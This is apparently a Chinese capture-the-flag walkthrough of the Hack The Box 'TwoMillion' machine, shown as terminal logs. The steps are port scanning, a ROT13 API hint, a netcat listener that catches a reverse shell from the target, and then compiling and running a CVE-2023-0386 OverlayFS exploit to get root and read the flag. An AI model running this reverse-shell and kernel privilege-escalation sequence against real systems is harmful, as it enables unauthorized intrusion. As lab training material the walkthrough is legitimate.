┌──(kali㉿kali)-[~/桌面] └─$ ping 10.10.11.221 -c 4 PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data. 64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=373 ms 64 bytes from 10.10.11.221: icmp_seq=2 ttl=63 time=366 ms 64 bytes from 10.10.11.221: icmp_seq=3 ttl=63 time=807 ms 64 bytes from 10.10.11.221: icmp_seq=4 ttl=63 time=368 ms
--- 10.10.11.221 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3011ms rtt min/avg/max/mdev = 366.021/478.754/807.258/189.680 ms
3、常规nmap探测开放哪些端口服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sC -sV -p- 10.10.11.221 -oN 10.10.11.221.txt --min-rate 2000 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-30 22:23 CST Nmap scan report for 10.10.11.221 Host is up (0.30s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx |_http-title: Did not follow redirect to http://2million.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 67.79 seconds
Object { 0: 200, success: 1, data: {…}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." } 0: 200 data: Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" } data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" enctype: "ROT13" <prototype>: Object { … } hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." success: 1
┌──(kali㉿kali)-[~] └─$ nc -lvnp 10086 listening on [any] 10086 ... connect to [10.10.14.114] from (UNKNOWN) [10.10.11.221] 46286 bash: cannot set terminal process group (1157): Inappropriate ioctl for device bash: no job control in this shell www-data@2million:~/html$
System information as of Fri Dec 1 02:55:21 PM UTC 2023
System load: 0.0 Usage of /: 73.4% of 4.82GB Memory usage: 8% Swap usage: 0% Processes: 221 Users logged in: 0 IPv4 address for eth0: 10.10.11.221 IPv6 address for eth0: dead:beef::250:56ff:feb9:f6bf
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update
You have mail. Last login: Tue Jun 6 12:43:11 2023 from 10.10.14.6 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
admin@2million:~$ cat /var/mail/admin From: ch4p <ch4p@2million.htb> To: admin <admin@2million.htb> Cc: g0blin <g0blin@2million.htb> Subject: Urgent: Patch System OS Date: Tue, 1 June 2023 10:45:22 -0700 Message-ID: <9876543210@2million.htb> X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
admin@2million:~$ cp CVE-2023-0386-master.zip /tmp/ admin@2million:~$ cd tmp -bash: cd: tmp: No such file or directory admin@2million:~$ cd /tmp admin@2million:/tmp$ unzip CVE-2023-0386-master.zip Archive: CVE-2023-0386-master.zip 737d8f4af6b18123443be2aed97ade5dc3757e63 creating: CVE-2023-0386-master/ inflating: CVE-2023-0386-master/Makefile inflating: CVE-2023-0386-master/README.md inflating: CVE-2023-0386-master/exp.c inflating: CVE-2023-0386-master/fuse.c inflating: CVE-2023-0386-master/getshell.c creating: CVE-2023-0386-master/ovlcap/ extracting: CVE-2023-0386-master/ovlcap/.gitkeep creating: CVE-2023-0386-master/test/ inflating: CVE-2023-0386-master/test/fuse_test.c inflating: CVE-2023-0386-master/test/mnt inflating: CVE-2023-0386-master/test/mnt.c admin@2million:/tmp$ cd CVE-2023-0386-master/ admin@2million:/tmp/CVE-2023-0386-master$ make all gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl fuse.c: In function ‘read_buf_callback’: fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=] 106 | printf("offset %d\n", off); | ~^ ~~~ | | | | int off_t {aka long int} | %ld fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=] 107 | printf("size %d\n", size); | ~^ ~~~~ | | | | int size_t {aka long unsigned int} | %ld fuse.c: In function ‘main’: fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration] 214 | while (read(fd, content + clen, 1) > 0) | ^~~~ | fread fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration] 216 | close(fd); | ^~~~~ | pclose fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration] 221 | rmdir(mount_path); | ^~~~~ /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common': (.text+0xaf4e): warning: Using 'dlopen'in statically linked applications requires at runtime the shared libraries from the glibc version used for linking gcc -o exp exp.c -lcap gcc -o gc getshell.c admin@2million:/tmp/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc & [1] 3849 admin@2million:/tmp/CVE-2023-0386-master$ [+] len of gc: 0x3ee0
admin@2million:/tmp/CVE-2023-0386-master$ ls exp exp.c fuse fuse.c gc getshell.c Makefile ovlcap README.md test admin@2million:/tmp/CVE-2023-0386-master$ ./exp uid:1000 gid:1000 [+] mount success [+] readdir [+] getattr_callback /file total 8 drwxrwxr-x 1 root root 4096 Dec 1 15:49 . drwxrwxr-x 6 root root 4096 Dec 1 15:49 .. -rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file [+] open_callback /file [+] read buf callback offset 0 size 16384 path /file [+] open_callback /file [+] open_callback /file [+] ioctl callback path /file cmd 0x80086601 [+] exploit success! To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root"for details.
root@2million:/tmp/CVE-2023-0386-master# id uid=0(root) gid=0(root) groups=0(root),1000(admin) root@2million:/tmp/CVE-2023-0386-master# cat /root/root.txt bb5dd763af38023978d9490e97622cd7 root@2million:/tmp/CVE-2023-0386-master#